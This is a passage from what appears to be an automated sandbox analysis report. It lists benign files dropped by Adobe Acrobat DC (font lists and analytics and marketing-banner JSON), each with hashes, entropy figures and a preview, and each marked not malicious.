Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.372627569879552
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJM3g98kUwPeUkwRe9:YvXKXScy2YpW7GuGMbLUkee9
MD5:	B4D07F153C87615969ED91CAEA13CDDB
SHA1:	5DF5160B5DBF993D31F161BE729DE30A1F8CFBE2
SHA-256:	75B1A7624784D7DE65C6871383B35C38E680F70F48A598A8F08E6DB83BEFF48B
SHA-512:	33FDDFB8D3FEEE35E313D57B235087B16FD3B2E34524954823E23C50AF31FA6E168D4B24051612122C963FBEB3C11BD7366CFB0537FF508226D5D898612AADAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312305320653527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfBoTfXpnrPeUkwRe9:YvXKXScy2YpW7GuGWTfXcUkee9
MD5:	7BD319B091E363278214CAA61C1F995F
SHA1:	1533EFEA1221E00DA3BB48C3F033A8010552BA68
SHA-256:	237A71BD339918A5A571CC8FE2B1A12DBAC6EEDE68C872502E2F714D386692D8
SHA-512:	65B36F8F7854145F0F8149E14380436E1500FC7F76A73E071C921DC92AE4C5C26716AE9A72B51CFF0CDDE9F08FF34561D37BA73A03AD9D015D16B4B0635CEDB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290704639521958
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfBD2G6UpnrPeUkwRe9:YvXKXScy2YpW7GuGR22cUkee9
MD5:	26BB2CB600134E50CAC145C12FC4512E
SHA1:	B1DA5627FE0D0DE5C254397661768EF5E2C5AFE9
SHA-256:	8AB3BCE66358633F2AC4ECBF6C0D37A69A8750387A5C149CF4658307A968A88E
SHA-512:	A44915ED89286319C93F1BD1743CB9976001E666A072DFADD5DC3DC735D7C0C7627B0A13440BE0E7971A2B2C927A0EA23A00F5EB4D51356D64A182B8E7674EC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3518455066058515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfPmwrPeUkwRe9:YvXKXScy2YpW7GuGH56Ukee9
MD5:	436C216D513CA24C5E53F85B9F54CBEB
SHA1:	8AF72A3388102798DC694D03C67DCDE158CCC7D4
SHA-256:	1E8A972FC3BCBD1CAA7075B2008C6CFC0E784DBFB1CA20B2A43CBF87221E79D6
SHA-512:	C90BBFDA43E8FA585108B93675589F90F2FA30243028432A0B0362376C47075A46A0217E6C8F08EC63CFE104BCF321D35DDC985D08FB4B36F2FACC273F8BC4A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691806163214388
Encrypted:	false
SSDEEP:	24:Yv6XSZispLgE9cQx8LennAvzBvkn0RCmK8czOCCSh:YvLAshgy6SAFv5Ah8cv/h
MD5:	AD87F4E5A27FE413C34348A129AF0920
SHA1:	A3F99FD864E94A138028311844D111BB37A9A75B
SHA-256:	3AA26769E60B854E8692D92B97F1C29ADF838C3E0598C8F479D5FAF9793D63A1
SHA-512:	F9A7208116BC4DFFAEF67285A662B7CB6D12FC81F38EAD84CDD24907115D4C21DE6C345F2699BA4BD8F9BB676CE07149658EF32CBECEE13754070279BE69D120
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298921476950686
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJf8dPeUkwRe9:YvXKXScy2YpW7GuGU8Ukee9
MD5:	2BB23B60256E7A52DA1101246809B54E
SHA1:	89C0795A948E1DC600FCC2DAC43A19929CBD4F50
SHA-256:	9162EE0F06D14D81CB8D1093C769C48D2FA46AC73A07B2C03BF2E241CE2A6E04
SHA-512:	7F80B77F59954ED7A920D5893494095D72E87E7C5B9C4C7ABD902CC8F83EA7646364B1667BE020496B49B39688BF7584E743CCF67FF05F56CE6F400059E0F259
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.300196756480242
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfQ1rPeUkwRe9:YvXKXScy2YpW7GuGY16Ukee9
MD5:	AB6C1FF8A501269D4B4F1189F1D2A8BD
SHA1:	B6CEEB4A332FDA96111DA8273080243A61341EB2
SHA-256:	CC064188ACC5CBF826F17A5BD817DD3C27AFA4279C30175EA30B9C5F890B00E6
SHA-512:	BD922D10020FC7AEEF377E197C312828710E2AA1C67216DBEDC8DF231A26AA2235615C295B304D98B8D7C00AC2458723E24B7F6EAA61B59CF1FE2EAA279EF71B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318938498352247
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfFldPeUkwRe9:YvXKXScy2YpW7GuGz8Ukee9
MD5:	BFB0A3CE7F9DA739F48AEA1A189806B6
SHA1:	23A54B91A888961BAB8663050175841C37A29916
SHA-256:	EF00846AAE35BD886EB7455E52E219B6C6BDE96884D1F6E2E9537A23105ABE51
SHA-512:	B1AF1C23A65C548D4B9F60AC67010F32087724836D33AFE92F724185D701C1EE82C1C5C76EF4A003944732C4F56CD9352A1198290B074F15E3B1113EF0B248D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326501519145058
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfzdPeUkwRe9:YvXKXScy2YpW7GuGb8Ukee9
MD5:	2FB20F3DB45CA82F27DA969CE2707304
SHA1:	FDD73583ABD78A9421176267DEC3D9445AC25AC3
SHA-256:	8AA2E4119C2791C9EDB8A1AD2A632FA76728BD61EC82CCCF71F66F2D3D20C8B6
SHA-512:	04F4DB1F8ED33DE0A5F32691130B4DD6D54E11FF91C31E4E774F26CDFF7C491CB21E6D68C9E33A5A6BA1C3EA6302EA2142101BFF956A19C2E8066DAE1BB39D67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306999635503204
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfYdPeUkwRe9:YvXKXScy2YpW7GuGg8Ukee9
MD5:	A38218F5336A7B17AEFD6F38948E8717
SHA1:	B0C1C16AFA63805609FAEDAFFF3092EEAC2C0413
SHA-256:	C7096EEB52CCE258200F0A9B31FBAE250D43405E9E411739415C7327441F5ED4
SHA-512:	62739F560CA69834B6AEA879E5BF4C88CB627D4E363081EFF516DF4C31012CFC3F65E940E64D56F544CB7F6DB14DE0F87B3C4F1FF9339F1DDBB8B1E25E023EE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.292855539812458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJf+dPeUkwRe9:YvXKXScy2YpW7GuG28Ukee9
MD5:	75560BF615892660590EC46F595ADCAF
SHA1:	7DD1F59AF5B4FF4D7ABDB243FB48FB551363D97E
SHA-256:	7AAB0A8EAE2261CB2FA8282465AC7631EFAF3ADF0667299DEAFDACB95E15E364
SHA-512:	B4540E3C7E1529F03F1BC61809D409FF794B6C8FE61A256FC3BC66884F96039D772C06D47B04642A8B4323FD473A45B6F8C1DA42760DD8F0E6181452CE03FF90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.290498625716564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJfbPtdPeUkwRe9:YvXKXScy2YpW7GuGDV8Ukee9
MD5:	1B4799017AADBD6021E47539404CACE2
SHA1:	2F0C10208BDC7E940290AFAADB1751373B6AE27C
SHA-256:	054B68099038A1B6587238D46D370DE6474F945D2EE6939FCF9D2B6CBC78764C
SHA-512:	A12AD643CB206C6C2256E32020DF0BA5E6914D4293F6821E6DBF7B355551CA63130331F37570789C814192593FB7D3E6C8C1F3F9A715D7EA0938E5471F9D2922
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.291954349797089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwnbQyf+FIbRI6XVW7+0YncIoAvJf21rPeUkwRe9:YvXKXScy2YpW7GuG+16Ukee9
MD5:	BB494661537386FB0C77590FD18B1856
SHA1:	9740D20854C2F2CDC1AB0CB00F83065227BBBBC7
SHA-256:	180E7BEC6F2BB50B7A4B461E552F5E38D1CDB0A1C71CBEA2A11B680D237E2C55
SHA-512:	443265520A39F2EC000D525D8B6DB00B8299BD3FE4D7C121157518E11B2233D33A5C9A122314FBF63270B5C75D0068822FB2EFC6B2B8396FD5935374AF6A8A62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663074114498178
Encrypted:	false
SSDEEP:	24:Yv6XSZiYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSH:YvLAeBgkDMUJUAh8cvMH
MD5:	DEF71129E5C4FE6CE5EF0D4334447122
SHA1:	01D09808CB67391363EC5F82E3AF46E5779E9AFF
SHA-256:	0FF66ADA72360F676651D8B128DDBE6FD499B70060F90977203C88CE91F896E2
SHA-512:	D6A535F2C49FE1EA97026838603E8A581E8E368EDF1C7886D5DE90E4293339AA33A8945013EE6739EC0B449AF1C2800523B7076A09932974B53D1715A8D22015
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40cfd62b-f806-45bd-b540-92a767ff4088","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739931296,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.266296214381054
Encrypted:	false
